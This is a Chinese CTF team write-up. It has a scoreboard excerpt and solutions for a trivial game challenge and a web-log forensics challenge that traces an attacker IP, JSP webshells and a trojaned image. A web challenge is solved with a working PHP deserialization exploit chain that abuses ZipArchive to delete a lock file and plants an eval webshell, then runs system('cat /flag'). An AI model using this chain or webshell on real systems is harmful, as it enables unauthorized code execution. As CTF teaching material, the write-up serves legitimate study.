四阶循环群战队 WriteUp

排名

战队名称：110名

战队排行

排名	战队名称	总分	战队强项	解题数量	一血数量	最新更新
101	md_lab	1301.04	Pwn	2	0	2025-11-24 22:25:05
102	皖西001队	1172.85	Web	3	0	2025-11-24 21:40:22
103	茶歇蝗虫队	1172.85	Web	3	0	2025-11-24 22:09:16
104	重剑无锋	1172.85	Game	3	0	2025-11-24 22:13:08
105	RiftHunter	1153.52	Web	3	0	2025-11-24 22:29:21
106	乱拳宗师队	1151.43	Game	3	0	2025-11-24 22:29:12
107	蓝花楹队	1122.85	Web	2	0	2025-11-24 21:30:16
108	NYSEC队	1111.03	CDF	2	0	2025-11-24 22:00:16
109	DWDSEC	1111.03	InfoSEC	2	0	2025-11-24 22:01:57
110	**四阶循环群队**	**994.17**	**Web**	**3**	**0**	**2025-11-24 21:53:57**

共 21 页 < 1 ... 9 10 11 12 13 ... 21 >

解题思路

GAME

我勒个超级玛丽奥

1.进去后右键黑屏空白处，发现能选择命令行
2.然后ls发现有flags
3.然后cat进去发现有txt文件，直接查看就能得到flag

CDF

可恶的木马竟然伪装成我的朋友

1.先查看日期最新的文件：

名称	修改日期
ex180202.log	2018/2/2 23:57
ex180203.log	2018/2/3 23:59
ex180204.log	2018/2/5 0:00
ex180205.log	2018/2/5 23:59
ex180206.log	2018/2/6 23:58
ex180207.log	2018/2/7 23:59
ex180208.log	2018/2/8 23:59
ex180209.log	2018/2/9 23:59
ex180210.log	2018/2/10 23:59
ex180211.log	2018/2/11 23:59
ex180212.log	2018/2/12 23:59
ex180213.log	2018/2/13 23:58
ex180214.log	2018/2/14 23:57
ex180215.log	2018/2/15 23:59
ex180216.log	2018/2/16 23:58
ex180217.log	2018/2/17 23:59
ex180218.log	2018/2/18 23:58
ex180219.log	2018/2/19 23:59
ex180220.log	2018/2/20 23:59
ex180221.log	2018/2/21 23:59
ex180222.log	2018/2/23 0:00
ex180223.log	2025/11/6 17:12
ex180227.log	2018/2/27 11:03

2.在 ex180223.log 中：

/sxzn/images/banner_home.jpg 之前一直是返回大小 50428

从这行开始第一次变成 37756（就是被木马替换后的大小）：

183.62.9.42 - - [23/Feb/2018:21:18:27 +0800]
"GET /sxzn/images/banner_home.jpg HTTP/1.1" 200 37756

说明 木马版 banner_home.jpg 在 2018-02-23 晚上 21:18 之前被上传并生效。

所以日期：日期：

2018-02-23

3.同一时间段内：

扫目录、访问可疑 JSP、利用 WebShell、访问木马图片的，全是：

183.62.9.42

包括：

183.62.9.42 - - [23/Feb/2018:21:02:20 +0800] "GET /sxzn/table.jsp HTTP/1.1" 404 997
183.62.9.42 - - [23/Feb/2018:21:02:32 +0800] "GET /sxzn/js/My97DatePicker/lang/en.jsp HTTP/1.1" 200 272
…
183.62.9.42 - - [23/Feb/2018:21:04:39 +0800] "GET /sxzn/2.jsp HTTP/1.1" 200 1271
…
183.62.9.42 - - [23/Feb/2018:21:18:27 +0800] "GET /sxzn/images/banner_home.jpg HTTP/1.1" 200 37756

所以

IP：183.62.9.42

4.当晚尝试访问的 WebShell（按时间先后）

仍然只看 这个 IP 在当晚 的 .jsp 访问记录，按首次出现时间排序：

GET /sxzn/table.jsp → 404（尝试找一个可能存在的 webshell）

GET /sxzn/js/My97DatePicker/lang/en.jsp
POST /sxzn/js/My97DatePicker/lang/en.jsp?act=login
POST /sxzn/js/My97DatePicker/lang/en.jsp
→ 把正常的日期控件语言文件 en.jsp 当成 webshell 用

大量 GET/POST /sxzn/2.jsp → 明显是上传后的正式 webshell

所以按“尝试访问 Webshell 的先后顺序”，文件名依次是：

table.jsp-en.jsp-2.jsp

```
183.62.9.42 - - [23/Feb/2018:21:02:20 +0800] "GET /sxzn/table.jsp HTTP/1.1" 404 997
113.95.12.85 - - [23/Feb/2018:21:02:29 +0800] "HEAD / HTTP/1.1" 302 -
113.95.12.85 - - [23/Feb/2018:21:02:30 +0800] "HEAD /sxzn/index.action HTTP/1.1" 200 -
183.62.9.42 - - [23/Feb/2018:21:02:32 +0800] "GET /sxzn/js/My97DatePicker/lang/en.jsp HTTP/1.1" 200 272
183.62.9.42 - - [23/Feb/2018:21:02:42 +0800] "POST /sxzn/js/My97DatePicker/lang/en.jsp?act=login HTTP/1.1" 302 -
183.62.9.42 - - [23/Feb/2018:21:02:43 +0800] "GET /sxzn/js/My97DatePicker/lang/en.jsp HTTP/1.1" 200 423
183.62.9.42 - - [23/Feb/2018:21:04:26 +0800] "POST /sxzn/js/My97DatePicker/lang/en.jsp HTTP/1.1" 200 463
183.62.9.42 - - [23/Feb/2018:21:04:39 +0800] "GET /sxzn/2.jsp HTTP/1.1" 200 1271
111.192.102.34 - - [23/Feb/2018:21:04:50 +0800] "HEAD / HTTP/1.1" 302 -
111.192.102.34 - - [23/Feb/2018:21:04:50 +0800] "HEAD /sxzn/index.action HTTP/1.1" 200 -
111.206.71.109 - - [23/Feb/2018:21:05:04 +0800] "GET /sxzn/foreground/viewMetadata.action?id=214 HTTP/1.1" 200 9252
58.32.44.98 - - [23/Feb/2018:21:06:54 +0800] "HEAD / HTTP/1.1" 302 -
58.32.44.98 - - [23/Feb/2018:21:06:55 +0800] "HEAD /sxzn/index.action HTTP/1.1" 200 -
113.95.12.85 - - [23/Feb/2018:21:07:30 +0800] "HEAD / HTTP/1.1" 302 -
113.95.12.85 - - [23/Feb/2018:21:07:31 +0800] "HEAD /sxzn/index.action HTTP/1.1" 200 -
183.62.9.42 - - [23/Feb/2018:21:07:36 +0800] "GET / HTTP/1.1" 302 -
183.62.9.42 - - [23/Feb/2018:21:07:37 +0800] "GET /sxzn/index.action HTTP/1.1" 200 18639
183.62.9.42 - - [23/Feb/2018:21:07:38 +0800] "GET /sxzn/rand.action HTTP/1.1" 200 1222
183.62.9.42 - - [23/Feb/2018:21:07:43 +0800] "GET /sxzn/ HTTP/1.1" 200 18639
183.62.9.42 - - [23/Feb/2018:21:07:44 +0800] "GET /sxzn/rand.action HTTP/1.1" 200 1250
111.192.102.34 - - [23/Feb/2018:21:09:50 +0800] "HEAD / HTTP/1.1" 302 -
111.192.102.34 - - [23/Feb/2018:21:09:51 +0800] "HEAD /sxzn/index.action HTTP/1.1" 200 -
58.32.44.98 - - [23/Feb/2018:21:11:54 +0800] "HEAD / HTTP/1.1" 302 -
58.32.44.98 - - [23/Feb/2018:21:11:55 +0800] "HEAD /sxzn/index.action HTTP/1.1" 200 -
218.164.223.130 - - [23/Feb/2018:21:12:06 +0800] "GET /clim/images/pretty2.jpg HTTP/1.1" 200 23317
113.95.12.85 - - [23/Feb/2018:21:12:31 +0800] "HEAD / HTTP/1.1" 302 -
113.95.12.85 - - [23/Feb/2018:21:12:31 +0800] "HEAD /sxzn/index.action HTTP/1.1" 200 -
183.62.9.42 - - [23/Feb/2018:21:12:52 +0800] "POST /sxzn/2.jsp HTTP/1.1" 200 1276
83.94.34.217 - - [23/Feb/2018:21:13:05 +0800] "GET /sxzn/index.action HTTP/1.1" 200 18815
83.94.34.217 - - [23/Feb/2018:21:13:07 +0800] "GET /apple-touch-icon-precomposed.png HTTP/1.1" 404 1051
83.94.34.217 - - [23/Feb/2018:21:13:08 +0800] "GET /apple-touch-icon.png HTTP/1.1" 404 1015
83.94.34.217 - - [23/Feb/2018:21:13:08 +0800] "GET /favicon.ico HTTP/1.1" 404 988
```

```
111.192.102.34 - - [23/Feb/2018:21:19:50 +0800] "HEAD /sxzn/index.action HTTP/1.1" 200 -
183.62.9.42 - - [23/Feb/2018:21:20:20 +0800] "POST /sxzn/2.jsp HTTP/1.1" 200 2177
183.62.9.42 - - [23/Feb/2018:21:20:27 +0800] "POST /sxzn/js/My97DatePicker/lang/en.jsp HTTP/1.1" 200 463
183.62.9.42 - - [23/Feb/2018:21:20:35 +0800] "POST /sxzn/2.jsp HTTP/1.1" 200 3
183.62.9.42 - - [23/Feb/2018:21:20:55 +0800] "GET /sxzn/2.jsp HTTP/1.1" 200 3
183.62.9.42 - - [23/Feb/2018:21:21:00 +0800] "GET /sxzn/ HTTP/1.1" 200 18639
183.62.9.42 - - [23/Feb/2018:21:21:01 +0800] "GET /sxzn/images/banner_home.jpg HTTP/1.1" 304 -
```

```
58.32.44.98 - - [23/Feb/2018:21:11:55 +0800] "HEAD /sxzn/index.action HTTP/1.1" 200 -
218.164.223.130 - - [23/Feb/2018:21:12:06 +0800] "GET /clim/images/pretty2.jpg HTTP/1.1" 200 23317
113.95.12.85 - - [23/Feb/2018:21:12:31 +0800] "HEAD / HTTP/1.1" 302 -
113.95.12.85 - - [23/Feb/2018:21:12:31 +0800] "HEAD /sxzn/index.action HTTP/1.1" 200 -
183.62.9.42 - - [23/Feb/2018:21:12:52 +0800] "POST /sxzn/2.jsp HTTP/1.1" 200 1276
83.94.34.217 - - [23/Feb/2018:21:13:05 +0800] "GET /sxzn/index.action HTTP/1.1" 200 18815
83.94.34.217 - - [23/Feb/2018:21:13:07 +0800] "GET /apple-touch-icon-precomposed.png HTTP/1.1" 404 1051
83.94.34.217 - - [23/Feb/2018:21:13:08 +0800] "GET /apple-touch-icon.png HTTP/1.1" 404 1015
83.94.34.217 - - [23/Feb/2018:21:13:08 +0800] "GET /favicon.ico HTTP/1.1" 404 988
83.94.34.217 - - [23/Feb/2018:21:13:09 +0800] "GET /apple-touch-icon-precomposed.png HTTP/1.1" 404 1051
83.94.34.217 - - [23/Feb/2018:21:13:09 +0800] "GET /apple-touch-icon.png HTTP/1.1" 404 1015
83.94.34.217 - - [23/Feb/2018:21:13:09 +0800] "GET /favicon.ico HTTP/1.1" 404 988
83.94.34.217 - - [23/Feb/2018:21:13:10 +0800] "GET /sxzn/index.action HTTP/1.1" 200 18815
83.94.34.217 - - [23/Feb/2018:21:13:11 +0800] "GET /apple-touch-icon-precomposed.png HTTP/1.1" 404 1051
83.94.34.217 - - [23/Feb/2018:21:13:11 +0800] "GET /apple-touch-icon.png HTTP/1.1" 404 1015
83.94.34.217 - - [23/Feb/2018:21:13:12 +0800] "GET /favicon.ico HTTP/1.1" 404 988
83.94.34.217 - - [23/Feb/2018:21:13:12 +0800] "GET /apple-touch-icon-precomposed.png HTTP/1.1" 404 1051
83.94.34.217 - - [23/Feb/2018:21:13:12 +0800] "GET /apple-touch-icon.png HTTP/1.1" 404 1015
```

WEB

浅析PHP原生类

一、

```
<?php

// 1. 定义类结构 (为了生成序列化数据)
class install {
    private $username;
    private $password;
    public $shell; // 注入的 Webshell 属性

    public function __construct($username = null, $password = null, $shell =
null) {
        $this->username = $username;
        $this->password = $password;
        $this->shell = $shell;
    }

}

class Until {
    public $a;
    public $b;
    public $c;
}

// 2. 构造 Obj C (Until): 用于删除锁文件
$until = new Until();
$until->a = "ZipArchive";      // 利用原生类 ZipArchive
$until->b = "install.lock";    // 目标文件
$until->c = 8;                 // ZipArchive::OVERWRITE (值是8)

// 3. 构造 Obj B (install): 作为 Obj A 的 username，携带 Shell
// 注意：Obj B 的 username 必须是 Obj C，以触发 __invoke
$install_inner = new install($until, "123", "<?php eval(\$_POST[1]);?>");

// 4. 构造 Obj A (install): 最外层对象，入口点
// Obj A 的 username 必须是 Obj B，以触发 __toString
$install_outer = new install($install_inner, "123");

// 5. 生成 Payload
echo urlencode(serialize($install_outer));
```

二、

get发送data

三、

POST/ config.php

1=system('cat /flag');

就能得到flag